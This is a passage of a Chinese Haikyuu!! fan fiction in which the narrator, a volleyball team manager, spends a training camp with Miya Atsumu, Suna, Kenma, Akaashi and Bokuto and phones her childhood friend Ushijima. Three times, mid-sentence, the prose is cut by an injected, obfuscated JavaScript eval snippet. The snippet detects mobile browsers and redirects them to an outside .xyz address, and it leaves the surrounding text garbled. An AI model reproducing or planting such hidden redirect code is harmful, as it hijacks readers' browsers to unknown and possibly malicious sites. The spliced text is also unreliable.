不过,要是阿侑这方面能和飞雄平均一下就更好了。飞雄太乖了,而阿侑…… 相当自我呢!^^ 虽然被我画饼之后,阿侑停止了和阿治的互换位置,开始正常地做正常的二传,分数也追了上来,现在场上是19:20,稻荷崎是20;但是,随时随地写作灵光一闪读作任性胡来的攻击方式……我悄悄瞄了一眼对面那位看样子就完全被气到的布丁头二传,默默地把拉链拉到最高,整个人缩起来记笔记。 我本意是想用猫又教练一手调教出来的防守来恶心阿侑阿治,但现在场上的状况是,他俩打得很尽兴,心有灵犀的双胞胎是排球场上天然的进攻双箭头,更别提是时不时会发一下癫的双胞胎。 正常人是无法理解神经病的脑回路的,宫双子状态起来之后无论做出什么都不奇怪。我事先粗粗看过一些音驹高校的比赛录像,虽然只记得编号不记得名字,但是很明显,他们的布丁头二传是和信子学姐一样的数据流,阿侑阿治这种随心所欲的打法,反而最克制他的观察。 倒反天罡啊倒反天罡,怎么变成了音驹高校受难史,我滑跪,我谢罪。 “满枝!怎么样!” 哥们我求你别给我拉仇恨值了。 8. 没问题啊修罗场前奏 因为这次集训一共有五支队伍,两两对决的情况下,总会有一支队伍轮空休息,很巧,枭谷和音驹对决的这场稻荷崎正好轮空休息,可以让我抽出时间来观摩一二。 好帅啊……又一次看到木兔光太郎的起跳+扣球,哪怕看惯了幼驯染的扣球录像,甚至他有亲自教我怎么用左手扣球,但是,好帅,真的好帅……非常舒展的背肌,无比完美的力量与技巧美的同时展现,如果我会画画,木兔选手绝对是绝佳的速写对象。 又一次跳起、滞空、直线扣杀,排球和地板的亲密接触甚至让我好像听到了尖锐的爆鸣声,那是和空气摩擦又和地板撞击之后的结果。 木兔式的扣球,也是主攻手的梦想模板啊。 通常情况下,富有肌肉的选手很容易在身材保持上走极端,使看客觉得他很笨重,经典范例就是酷爱工兵铁卫与大中锋的德国足坛……但是木兔给我觉得,他好像真的在飞,非常轻盈的在空中停滞,贴合着球衣展现出力量的肌肉让我完全幻视猫头鹰的背翅。 毕竟猫头鹰本质上也属于猛禽呢。虽然看起来很萌——heyheyhey的木兔选手,真的已经高三了吗0.0,小动作非常可爱,但是扣球又如此凶猛。 如此反差,优雅,实在是太优雅了。 我要不要也练一练背肌呢? 我不禁陷入沉思,试图思考此方案的可行性。 正在思索要不要根据这个目标制定一下相关的饮食和锻炼计划,我突然听到北叫了一声我的名字,回过神来才发现音驹的选手接到了、但是又垫飞了木兔的扣球,而反弹的方向——我去,怎么是我! 在排球向我飞来的那0.5秒里,我的第一反应就是接——我举起了右手,但是右手受过挫伤后续没有正经复健过,面对全国前五主攻手的扣球,虽然是被反弹过来,力度也不可小觑;于是我决定换左手,但是左手更糟糕,骨折才好还在恢复期;AB选项都被我排除之后球已经快要飞到我面前,连钝角选项都没有的我只能狼狈地站在原地,捂住脸。 预想中的疼痛没有出现,“原地做了那么多假动作我还以为你会接住呢”,我听到角名的声音,手指微微分开,排球就在他怀里。 云淡风轻的谜语人和我对视之后脸上出现一点笑意,“你是在嘲笑我吗?”我终于从刚刚的怔楞中反应过来,放下双手,不服气地冲他龇牙。 “完全没有这回事。”角名转身把排球还给枭谷的选手,让开半个身位,我记得应该是姓赤苇的选手,冲我躬身说了句抱歉。 我连连摆手:“没关系没关系啦。” 排球馆连墙上的钟都会焊上钢筋以防被打碎出事,这种级别的球被垫飞差点误伤,完全是正常操作,何况是我第一时间没躲开,何况我也没受伤,这么有礼貌的道歉我反而有点无所适从。 我可以暴力制裁脑回路跳脱的阿侑,也完全对得上看上去稍微成熟一点的阿治的脑电波,哪怕是看起来很正经很疏离的北,和他交流我也完全不在话下,偏偏像赤苇这种看起来属于非常正派的官方代言人类型……完全苦手! 表面平静的我内心早已无糖全麦面包尖叫.gif 和赤苇选手面对面仿佛夫妻对拜一般互相又鞠了一躬给他送走之后,我悄悄地松了口气,抬眼看到角名还维持着那种笑容看着我。 不妙,被逮捕了。 “看我干嘛?” “你刚刚是想接球?” “怎么啦。”预感到可能会被嘲笑的我选择摆烂,想接没接到,那咋了,我又不是专业的。 自从角名伦太郎揭开我的背景故事之后,本人对他的好感度直线下降,更别提他说了一半又藏一半的说话方式——本小姐平生最恨的就是谜语人! 角名伦太郎,OUT! “真生气啦?”完全不会看人脸色的可恶谜语人没有被我的阴阳怪气逼退,而是站在我身边,也不管我做出专心看比赛的样子,已经是在拒绝和他交谈,自顾自地说着话。 倒也不必在这种时候学阿侑的作风吧,可恶! “如果是因为我在大巴上说的话,我道歉。 “不是想让你伤心。” “没有伤心。”我小声嘟囔了一句。 只是被吓了一跳。我没想到和爱知县已经不算近的稻荷崎,居然有人会知道我家里的故事,更别提角名之前一直不显山不露水,结果突然给了我一发暴击。这种震撼不亚于我的猫猫突然变成噬元兽。 所以没有伤心,只是被吓到了而已。 “那也抱歉。” 哎呀我都说了我受不了这种正经认真的人,为什么角名也变这样了,我紧张得手心在出汗,一边握拳一边往旁边挪了挪:“没……没关系。” “所以你刚刚为什么没有接球?”话题又绕回开始的那个问题,“你当时是想接的,对吧。 “你的手伤还没好吗?” 我原本以为角名对我的了解应该仅限于家里上一辈人的那些爱恨纠葛,八卦嘛,好吃,大家都爱吃,但我没想到他连这个都知道。 我在青城做选手的时候可以称得上是个排球脑袋,和彻酱相反,赛后采访、个人专访我都推掉了,因为觉得无聊、而且浪费时间,还不如我多看几场比赛录像自我复盘。 如果不是必要流程,我连公式照都不想拍。好麻烦。 小惠说我或许和某位竞技小说的主角可以交流心得,虽然他是客观受限而我是主观选择。 但总而言之,我在青城的那一年,有关我的报道大多只是含糊空洞的溢美之词,没人知道我右手挫伤的事。也有赖于伊琳娜把这个消息捂得很好,当时春高的全国大赛我突然换了左手扣球,她也直接以战术储备作为掩饰。 角名怎么会知道呢? 我的眼神可能太明显了,以至于我都不用说什么,他就替我说了出来:“好奇我为什么会知道? “全国大赛的时候,临时去找绷带的时候在医务室看到了你。当时你还说要给右手打封闭,然后你被揍了。” …… “角名君,最后一句话可以不说的。”死去的记忆突然开始攻击我,被伊琳娜用战术板暴揍的头壳,隐隐作痛。 “好吧,我道歉。” “道歉道得这么容易,我很怀疑你的真心。”发现角名知道的这些消息基本都属于小概率的机缘巧合,我悬着的心缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431047|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下,和他顺嘴开起了玩笑,这次是真的在专心看枭谷和音驹的比赛,不是装样。 “那我诚恳地道歉。” “原谅你啦原谅你啦。” 我这个时候根本没意识到角名伦太郎在我说完话之后就一直在看我,也没发现他其实说了半真半假的谎话。在我的角度来看,他是男排选手,我受伤和他也没有利害关系,相应的消息渠道,又有什么可隐瞒的呢? 欺骗我你又会得到什么,我只是一只可爱无公害的吉祥物挂件.jpg 音驹和枭谷的比赛最终因为后续木兔光太郎状态突然低迷,在拉扯之下由音驹高校获得胜利,站着看了一整场的本人已头昏脑胀。为了保证能继续全神贯注地记录稻荷崎的数据,我趁着他们比赛开始前赶紧出去透口气,顺嘴问了句回去热身的角名,要不要给他带什么,我请客,场馆外面就有自动贩卖机。 “有波子汽水吗?” 我眨眨眼:“你认真的吗?” “开个玩笑,你不是已经买了布丁吗。” 原来是小偷! 比起喝波子汽水,我怎么感觉从宫侑手里偷走他的限定布丁这件事更可怕。角名伦太郎,你是什么斯巴达的勇士吗? 但我不打算提醒他。不管是他做小偷成功还是不成功,我都有乐子看。 我绕出场馆,发现贩卖机前已经站着一个人,非常明显的特征,是你!社恐布丁头二传! 我记得是叫……“孤爪研磨?” 社恐选手的背影一抖。 ……哦不,我的嘴怎么这么快。好想给我自己两巴掌。 他缓缓地转过身,让开了位置,我走近的时候才听见他小声地说了一句,卡住了。 “什么?” “我买了饮料,卡住了。”他指了指机器上要掉不掉的饮料,“所以,不一定还能用。” 我后来无数次想起这一天,无数次在深夜复盘的时候脚趾抠地,不理解我怎么可以在已经意识到我自己嘴很快这一缺陷之后,依然不知悔改地、丝毫不经思考地、就那么干脆利落地对准了研磨买的饮料卡住的地方,一掌拍了上去。 于是震耳欲聋的一声响,整个贩卖机被我拍得一震,要掉不掉的饮料“哐当”一声掉了下来,还没有意识到有什么不对的我弯身从出货口里把饮料拿了出来,递给了孤爪研磨。 他没有动作,只是呆呆地看着我。 此时的我还是没有发现问题,甚至直接拉过他的手,把饮料往他手里塞了塞。 猫又教练带出的猫式防守的核心二传在我面前也像汤姆一样炸了毛,好像我刚刚那一巴掌拍的其实不只是贩卖机,而是隔山打牛打到了他身上。他抖了一下,然后:“谢谢。” “不客气~” 而我居然也这样阳光又开朗地回答了。 晚上和其他女子经理分到一个房间但是因为想到这一幕完全睡不着的我:我**的神经病吧! 以后绝对要少和阿侑玩啊啊啊! 我看了一眼墙上的时间,很好,不晚,可以出门和我的亲亲幼驯染酱打电话。 ——这是我继一掌拍掉饮料之后做出的第二个错误决定。 9. 没问题啊我的亲亲幼驯染酱 事实上,我如果一开始只是在走廊尽头对着窗外打这通电话,直到电话结束,事情或许也不会发展到后来那个样子。 但我的坏毛病,和亲近的人可以放松地打电话的时候,总是会不自觉的有点动作——手里如果拿着笔就会在纸上乱写乱画,站在墙边会用指甲划拉无辜的墙纸,但最开始的时候我还记得这不是稻荷崎也不是青城,别人家的地方还是要努力克制,所以我选择在走廊的这个角落里转圈圈似的来回踱步。 好像动物园里被圈养的动物的刻板行为。 所以在电话接通后的第三分钟,我决定下楼去找个大点的动物园散散步。 电话那头基本没怎么说话,一直是我叽里呱啦地和他分享,我的幼驯染,从我认识他开始好像就一直沉默寡言,看起来凶巴巴的很难接近——身高体格是重要因素——但是,温柔又耐心,是个非常非常好的倾听对象。 “我和你说,我今天晚上被阿侑拉去和木兔选手一起打对攻了哦,木兔选手真的好厉害,扣球超级重!我本来想试试接接看的,结果判断错了位置,打到了腕骨上,好痛好痛好痛。”我夸张地和他比划,哪怕知道他看不到,哪怕其实并没有特别疼。 我就想听听他的声音,想知道他会是什么样的反应。什么样的反应都很可爱。 “有受伤吗?左手还是右手。” “诶——我还以为你会问我,不是说好不打排球了吗,为什么突然又打了这样的话,然后呢,我就会回答你哎呀我也不想的完全是阿侑这个坏蛋强行把我拉走的。”我一边说一边脑补了一下他脸上会出现的表情,皱着眉头,像小苦瓜一样,下楼的动作一顿,扶着楼梯扶手自己笑得乐不可支,“然后呢,你应该又会问我,阿侑是谁,我就会和你说,是我在稻荷崎认识的二传手,很厉害,但是也很神经病……” “宫侑吗?” “哎呀,你居然知道。”我有点意外,后来一想,也是情理之中,虽然我是来了稻荷崎之后才知道宫双子是有日本排球界高中最强双胞胎的外号的,虽然我的幼驯染酱看起来也是自带空气墙的小野人——但是,知道的话也不奇怪。 好吧,那我就重新编一个剧本好了。 “嗯……那就变成,” “小满。”我正在组织的语言被他很少说出的这个昵称打断,我疑惑地“嗯?”了一声,又听见他接着问我,“那你打得开心吗?” …… 什么嘛,若利讲这种话也太犯规了。 “本来很开心,现在有点想哭了。” “?为什么。”幼驯染之所以是幼驯染,就在于我们虽然只是打着电话,我也能猜到他脸上的表情大概是什么样——0.0 若利完全是笨蛋诶。无意识地说出了超级超级电视剧一样的话,但是却不知道我想哭是被他感动到了。 太不可思议了,我居然和牛岛若利是幼驯染。 太好了,若利是我的幼驯染。 我干脆就这样坐在楼梯上,脚跟搁在下两级楼梯的边缘:“因为若利说的话,让我很伤心。” “抱歉。”他几乎是一点反应时间都没有,就对我道了歉,明明是我胡搅蛮缠,甚至是故意为之,想让他反问我、甚至反驳我。 哎呀……真是的……这样的话我不是完全没办法了吗?我换了个姿势,半边身子靠在扶手栏杆上,虽然有点硌人,不过也可以靠着自然状态下的金属给我发烫的耳朵降降温。 有时候我会觉得我被一些人说脾气坏、不讲理,甚至连前男友及川都这么说过类似的话,完全是因为妈妈对我太温柔的基础上,和我相处时间最久最久的若利又总是太惯我。 甚至不能说是惯,而是,我说什么他都会说好,若利有反驳过我什么吗?好像只有那一次。在我说,希望我自己从来都没有出生过的时候,若利停下了练习,抱着排球走到我面前,和我说,没有这回事。 只有那一次,他反驳了我说的话。 其他的时间,牛岛若利或许可以称得上是我本人的一款全肯定bot。 “若利把我的脾气惯得很坏哦。”我这人最擅长的就是颠倒黑白、倒打一耙、得寸进尺,若利对我太好了,总让我想试探一下他还能对我有多好,人类的劣根性我也无法避免呢,“好多人说我脾气很坏,都不想和我做朋友,我都没有什么朋友呢。” 我也很擅长说谎。 仗着若利看不到我现在的表情,我完全是强忍着憋着笑,在故意向他卖惨。可能是因为从宫城县到兵库之间距离太远,我很长一段时间没有和若利见面。天天打电话,哪怕早上他负责给我叫醒,晚上再打一通说晚安,电话打得越多反而越想要见他。 还从来没和若利这么久没见过面呢。我半靠着扶手,头顶的灯光昏黄,我低头看着自己的指尖,指甲好像又长长了一点,得找个时间给它磨一磨。 “我觉得你脾气没有差,很好。”几秒钟的沉默之后,我听到若利这样说,依然是没什么感情起伏的语气,只是说得很认真,“他们说的都不对。” 这也太可爱了吧。我差点忍不住要尖叫,突然想起来小学有一次考试,若利的老师给他判错了一道题目,他那个时候声音还要更加、更加的可爱,去找老师说不对,老师,这道题目判得不对。 我才是对的。 “我才是对的。” “可是我没有朋友怎么办呢,若利不在我身边,我一个人好可怜哦。” “……所以你应该来白鸟泽。” 不好,完啦。我踉踉跄跄站起来,犯贱犯得有点得意忘形了,忘记若利一直对我没和他一起去白鸟泽这件事耿耿于怀。更别提后来他知道我其实收到了邀请但是我自己拒绝了。 头痛……他在那边没有说话,我一下又想到当时他一句话不说站在我面前的样子,看上去面无表情和平常没什么两样,但是本人作为牛岛若利微表情鉴赏大师一眼看出他完全就是在不开心啊。 愧疚……好愧疚……无限叠加滚雪球一样膨胀的愧疚。和他对视不到三秒钟,我就内疚得连牛岛阿姨给我准备的小饼干我都没尝,直接连滚带爬地夺门而出。 虽然都说什么会哭的孩子有糖吃,但是对我这种人而言,明明是我做错了事,但是受害者不声不响连质问都不质问一句,反而会让我更加无地自容。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431048|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尊重别人是好事,但是牛岛若利对我也太太太尊重了……哪怕是和我吵一架呢,都比这个结一直梗在那里要好。 或许牛岛并没有那么在意,只是突然想起随口一说,或许他没有耿耿于怀,但对我而言,这个结还在这里——因为我确实曾经有不止一秒钟后悔过,为什么没接受白鸟泽的邀请。 意志动摇没有什么丢人的,我又不是圣人,反正时光倒流的魔法不存在,反正结果来看我没有回头也回不了头。 我清了清嗓子,想要解释些什么,但是说什么都不好,难道要我说,我是因为答应了及川,和他一起去青城所以才拒绝了白鸟泽吗?这听起来我很有见色忘友的嫌疑,很不好。 但除此之外我也没什么能说的。 若利的沉默寡言这时候倒成了坏事,我不知道说什么我好尴尬,他一句话不说我一边觉得他性格如此一边觉得我靠为什么这么沉默我更更更尴尬了。 “那个……楼梯这有蚊子,我下楼一边走一边和你说吧……” “好。” 牛岛若利,一款非常智能有时候又会突然沉默的一问一答机器。 我顺着楼梯扶手飞一样往下跑,因为紧张、因为我偷懒没开楼道的灯、因为一楼走廊更是漆黑一片,以至于我拐到一楼准备沿着走廊先跑出宿舍楼的时候,完全没意识到这世界上还有第二个和我一样偷懒不想开灯的人。 我不知道我撞到了哪里,反应过来的时候我就和对面那个人双双倒地,手机被摔出去沿着地板漂移了好远,漆黑一片的空间里电子屏闪着荧光。 但那些都不是关键,甚至远处手机话筒里含混传出的若利的声音都不是关键,手腕撑地的那一瞬间,我又开始耳鸣了。 因为没有非常剧烈的疼痛,我的心脏放下一半,眯着眼睛确认对面被我撞飞的小可怜,不确定的:“孤爪研磨……?” 怎么又是你!? 他看上去状况还算良好,我还坐在地上平缓心跳,他已经慢吞吞地站起来,按亮了就在墙上的廊灯开关。 非常突然的光明,使我闭上双眼。 “你的手机。”再睁开眼的时候,摔到一边的手机已经被他捡起来递到我面前,此时此刻,恰如我给他递饮料的那一幕。 风水轮流转,但好像怎么转我都在丢脸。 “谢谢。”我想要接过手机,手伸出去悬在半空,我才发现原来我的手一直在抖。 “你……” 我握紧了拳头,又松开,没有用,又握紧、松开,还是没用。 第一眼就发现是社恐的二传选手没有像我塞饮料一样拉过我的手、把手机直接塞到我手里,而是先对着还在通话中的那边说明我刚刚被他撞倒了、现在要去处理伤势,然后挂断电话,和他的手机一起揣到了他的口袋里。 左胳膊的肘部被研磨握住,他靠近的时候我不合时宜地想到他眼睛也很像猫瞳,然后才听见他问:“能站起来吗?” 我点点头,慢慢站起来的时候因为用力角度不对差点把他一起带得再摔倒一次,确认我站定站稳了之后他才继续说:“我们队医就在这层,我带你去看一下。” 10. 没问题啊饲养员交流心得 因为幼驯染牌电话闹钟的存在,哪怕是集训日我也没能睡个懒觉,打着哈欠绕着宿舍外面跑了一圈,还是觉得犯困。我把今天的没精神归因于昨晚第一次和研磨打游戏,提前耗空了今日份的体力条。 吃早饭的时候撞见同样懒洋洋的研磨,我俩心照不宣的对视一秒,然后缓缓移过了头,主要是怕再对视下去我们都憋不住笑。 合理猜测研磨酱此时心理和我一样:为什么这人一到打游戏就突然变了个样子,而我会回答是的我打排球也这样。(望天) 不敢想昨晚要是真有人把我们打游戏那段录下来并且发出去,认识的人是不是都会以为我们是被什么脏东西附了身,并紧急寻求帮助给我们是被什么脏东西附了身,并紧急寻求帮助给我和研磨一起驱邪。 ??而作为昨晚亲身经历和研磨一起合作通关的人,只能说赌狗(指我)是不可以和精细计算派一起合作的啊,对我来说只要不死就算赢,但是对研磨来说,一命通关才更需要小心谨慎。 天差地别啊天差地别。 游戏理念和我非常不合甚至可以说是截然相反,但在这种事情上却又相当坚持的研磨,我一开始还以为他是脾气很软的类型,以为能把他一起带偏掉呢。失策。 为了互相证明彼此都是对的,昨晚我们第一次打通关之后又新开了两个存档,虽然最后还是都通关了,虽然最后我还是坚持我的赌狗打法and研磨依然觉得我太激进。 我很意外我居然会收到这种指责,拉长了声音试图反击:“我还以为虽然对排球没什么兴趣但是二传依然做得很好的研磨酱才是那种幕后大boss呢。” “那是什么形容。”和我一起盘腿坐在地上的研磨皱了皱鼻子,眉心攒出浅浅的痕迹。 “说你看起来好像是很会算计的样子。” “并不是。”研磨看上去有点不高兴,慢吞吞地把这个罪名又扔给了我,“明明你才更像。” “诶???” “很喜欢排球,打得也很好,但你只是经理,很可怕。”研磨抬头看着天花板,又说,“简直就是解密游戏里那种看上去人很好,实际上早就黑化并且随时随地准备要和整个世界互相爆掉的角色。” “就算是研磨酱这么说我我也是会很伤心的。呜呜。” “不要说这种让人误会的话,你ooc了。”研磨把视线重新移到手机上,看上去打算结束这个话题,“趁小黑还没发现我溜出来,再来一关吗?” “可以,但是小黑是谁?”我疑惑地举手提问。 …… 研磨:“我会怀疑你是那种一键skip所有文字直到跳到选项才开始翻攻略的那种玩家。” 我:“你猜得太对了,我确实是,所以小黑是谁。” “晚上在你对面拦网的那位。” 哦……黑尾铁朗……“挺可爱的,这个称呼。”不亚于对着老虎叫咪咪以及对着二十米大棕熊说哎呀好可爱。 因为想到了这件事,导致我吃饭的时候视线不自觉地落到研磨那桌,黑尾铁朗……小黑……因为太可爱了所以反而有点恐怖。 “怎么突然戴了护腕。”北的声音吓了我一跳,光速回神之后,视线落到我的手腕上,左手黑色右手白色,看起来非常经典但其实是两套护腕拆下来的混搭——全怪某位想要耍酷还拉着我一起耍酷美名其曰“保持一致”、“情侣款很配”的大明星。 “昨天被拉去打了下娱乐赛,所以保护一下。”我眼睛也不眨地说谎,其实是昨天摔倒之后还是有一点点不舒服,虽然不排除是我自己太紧张的幻觉,不过戴了护腕可以让我自己安心一点。 但是信以为真的北把视线移到了宫侑身上。 然后宫侑突然开始攻击我:“是她太废物了。” 突然被攻击的我:?0.0 我真心实意地感到疑惑,昨天结束的时候他明明很开心,和我配合得也很好,按照他那种有脾气当场就发掉、吃了亏就立刻报复回来的性格,我没惹他吧。对啊,我根本没惹他啊! “我也没说是你的错呀。” 我还在迟疑着想要解释,我不明白,更无从谈论如何编造安抚的话术,但是,他反而更加生气,就像回到最最开始,他不喜欢我来接替学姐那样。恶劣、任性、坏脾气。 宫侑端着餐盘气哼哼地离开了。 “怎么了吗?”我看向还在吃饭的宫治,宫治冲我摇摇头:“我也不知道啊。昨晚出去了一下,然后突然很生气地回来了。”他耸耸肩膀,“莫名其妙的,不用管他。” 可是真的可以不管他吗? 接下来的练习赛,本来在场上应该话最多也是最吵的那个突然不再说话了,闷不做声地传球、又或者自己暴扣,虽然表层来看队伍的节奏并没有受到影响,甚至相反,因为宫侑沉静下来之后的稳定,稻荷崎的攻势甚至更加凶猛。 真的没问题吗? 下场都会绕开我不和我说话,宁愿自己去拿毛巾也不想和我接触,这对吗?这不对吧,这怎么看都只是单独针对我的战争吧! “阿侑……”我趁着场间休息的时候拽住他,然而才叫了一声他的名字,手里的衣角就被他恶狠狠地抽走,脸上表情非常不好看地冲我哼哼两声,完全一副“我就是在闹脾气而且是因为你在生气所以你快来哄哄我”的样子。 说实话,有点新奇。因为从来没人对我发过脾气——以这种其实称得上亲近的形式。 阿侑是被爱着长大的孩子,我非常确信这一点,他常常幼稚、任性,还会发脾气,都是他曾经每一次不开心的时候都被好好接住的证明。我也是这样呢。 但阿侑比起我来更坏一点,他对我生气却不和我说原因,这样很不好。我每次发脾气都会说为什么,当场不说后来也会说的,栗子酱说我很狡猾,每次被我骂的当下都会火冒三丈,但是我总是过一会就会主动和她剖析自己的心路历程——“很认真地说着扣球的角度不合理所以火冒三丈的小满实在是太可爱了,所以完全没办法对你也生气”。 可是阿侑只是一直一直表现出他因为我不开心的样子,又不告诉我为什么。 阿侑不理我的话,我也不理他了。 “他要是讨厌我的话,那我也会讨厌他,而且我会更加更加地讨厌他,这样我就赢了,耶嘿。” 侑生气的样子和针对的对象过分显而易见,北来找我的时候担心我的样子也很显而易见,为了让他放心,我信心满满地对他说了:“这是竞赛!但是放心好了,我不会输的!” “满枝是小孩子吗?给出去的立刻就能收回……果然是小孩子吧。”我坐在地上,仰头看着北,天花板上的灯光正好模糊了他身边的一圈轮廓,“但是,这样就很好。” 耶?原来北也支持我不理阿侑吗? “不喜欢你的人,你也不用去喜欢他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431049|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 总感觉好像和北说的不是一件事诶。 “小满!我刚刚那球是不是超级帅!”仅仅昨晚打了一次娱乐赛就和我非常快速地熟悉了起来的木兔选手,光是看着就会让人心情值极速upupup,其实根本没有看到那球的我也学着他的动作高举双手:“非常帅气呀ace!” “今天结束之后一起扣球练习吧!” “没问题呀ace!” 如果木兔头顶上也有心情值,感觉应该已经把上限都顶爆完全变红警告了吧。实在是非常好懂、非常纯粹的选手,如果我不是主攻手,也会喜欢这种看起来属于单细胞的主攻手呢。 非常热情,非常可靠。此外的所有小毛病都完全无伤大雅呀。 “不过,”想到闹别扭的宫侑,我超小声地补充了一句,“但是今晚阿侑应该不会去了哦。” “诶?为什么?不舒服吗?”木兔光太郎大为震惊,“那我今天不能接侑侑的托球了吗?” “不是有赤苇酱在嘛。” “赤苇和我呢,当然是非常有默契的,但是,侑侑的托球,就像……魔术?一样,很奇妙的有时候能托好,太有趣了。” 完全是没磨合好吧!如果不是木兔,我会非常怀疑他其实是在阴阳怪气阿侑,但是……我和赤苇对视一眼,互相点点头:是的,木兔学长他是认真的。 只是细细品味的话,莫名也有种家里的大餐吃多了,所以偶尔吃一口路边摊也很美味的,奇怪观感呢——没有在骂宫侑是路边摊的意思,只是很奇妙的即视感。 “如果木兔前辈非常想要阿侑的托球的话,可以自己去找他呀!看起来是有一点点不舒服,但是也可能是我感觉错了,毕竟刚刚那场阿侑发挥还是特别好的啦。” “好!” 被我忽悠了的木兔选手一拍手掌,非常有精神地去了。 而我看向旁边的赤苇:“赤苇酱,一个很严肃的问题想要问你。” “?” “木兔选手会有些时候莫名其妙的不高兴,然后发挥变得低迷,对吧。” “对。” “那种时候是怎么处理的呢?” 赤苇思索了一会:“大多数时候,可以等木兔学长自己恢复得差不多的时候给他传球,在他成功之后夸夸?用直白的赞美哄他。” 夸奖啊……好简单轻易的方法,木兔酱果然,单纯到让人羡慕啊。我不禁感慨:“但是如果那个人只是不高兴,但是又没有影响到发挥,而且看上去夸夸也没用的话,赤苇酱觉得要怎么办呢?” 新任狐狸饲养员正在向成熟的猫头鹰饲养员认真取经。 “说不定是会有用的,夸奖的话。”赤苇喝了口水,淡淡的,仿佛一切了然于胸的样子——简直就像家里那位轻描淡写就剧透了本人家庭背景的谜语人。 白切黑/黑切黑的那种感觉又来了,抖抖抖。 但我知道赤苇酱是个好人,能够耐心和猫头鹰相处的能是什么坏家伙呢?我认真考虑了一下夸夸方案的可行性,有点苦恼:“但是我担心会不会夸过头呢?那个人的话,有时候会出现太兴奋了,所以反而会不太好的情况呢。” 我抬头,看到了赤苇的表情:啊…… …… “抱歉。”我干巴巴地道歉。 赤苇:“不……不是你的错。” 养好狐狸和猫头鹰好像,都很艰难呢。 11. 没问题啊等待疗法确实有用 木兔兴冲冲地跑过去,又开开心心地跑回来,从他的表情就知道事情的结果已经非常明显了。很好猜啊木兔前辈。 我把视线移到另一个方向,宫侑的视线和我接触了一秒钟,很明显地抬了下下巴——我猜他是在哼哼,然后又把脸别到了旁边去。真难懂啊阿侑。 “赤苇酱。”我突然有个奇怪的问题,“如果要你在一百个木兔前辈和一百个阿侑之间选一个,你会选哪个?” 赤苇捏着水瓶的手僵了一下,然后:“一定要选一个吗?” “如果是我的话我会选一百个木兔酱呀。”我托着下巴,看见木兔精神奕奕地在围观音驹的比赛,时不时看上去在阴阳怪气实际上真的是在加油,眼睛亮亮的,更像一只猫头鹰了。 “宫选手有那么让你难以接受吗?” “你不懂啦,木兔学长的话只是偶尔你会不太理解他为什么会这样、为什么又会那样,但是,只要打排球就会很开心吧。”我很难不想到另外的人,因为想到他们、所以很难不对完全享受着排球的木兔再次增加好感度,“木兔学长的话,一看就是会开开心心地打排球直到八十岁的那种人呢。 “但是阿侑的话……排球之外的事情让我更苦恼啊。热情到有时候看不懂的小孩,和偶尔会变成男鬼的小孩,非要我选一个,我还是选大太阳吧。” “但是人生又不是非A即B的选择题。” 哇……我震撼地看着他,好一会都没有说话,直到他被我看得有点不自在,问我怎么了吗的时候,我才非常感慨地:“天呐赤苇酱,和我们家伦太郎一样,突然间会冒出一句非常有哲学道理的话来呢。” “因为就算这样说了,你也并没有讨厌宫选手吧。”赤苇说,“如果真的生气、讨厌的话,就不会把他放到天平上做选择了。讨厌的东西就像垃圾,直接扔掉就好了。” “好帅气的发言,不愧是赤苇选手!”我“啪啪啪”地给他鼓掌,难得看到赤苇也有笑得很温柔的时候,嘴比大脑快的毛病又犯了,“赤苇酱,笑起来很好看捏,果然,美丽的脸就应该多多使用呀!” 赤苇酱默默收拾了东西从我身边离开了。 诶? 【玩家】赤苇京治退出了游戏。 我盘腿坐在地上,看着赤苇的背影,不明白他为什么突然跑掉了。我有说错什么吗? 耳边传来相当明显的“咔擦”声,我都不用回头就知道是谁:“伦太郎!怎么又偷偷拍我。” 身后传来他的声音:“因为你刚刚的表情看起来很呆,很需要留存一下。” 哈——?我手腕撑着地,正好就着这个动作往后仰去,还拿着手机的伦太郎被我当场逮捕,我伸出一只手准备对其指指点点,而他,毫无悔改之心,一边又“咔擦”了一张,一边:“非常厉害的核心力量。” “别以为你这么夸我我就会放过你!”我哼哼两声,倒也没怎么生气。 “这种角度表情也完全不崩呢满枝,有想过未来做演员造福一下大众的眼睛吗?” “呵呵,然后宣传第一天就因为你悄悄po出去的黑照喜提赔偿加雪藏是吧。” 角名:“我在你心里这么阴暗吗?” 维持着后仰的姿势太久让我有点不舒服,我一边做拉伸一边学习了一下研磨的比喻法:“你在游戏里绝对是那种和我历经千难万险同行了一路,但是会在最后的宝藏面前捅我一刀自己独占奖励的坏人。” “你不是吗?” "拜托,我可是第四天灾型玩家呀,你要是和我组队就应该知道我会在一路上把看不顺眼的人全都杀掉,一个人独占宝藏什么的,非常合理啊。我看到的就是我的,我想要,我得到。嘻嘻。" “真霸道啊满枝。” 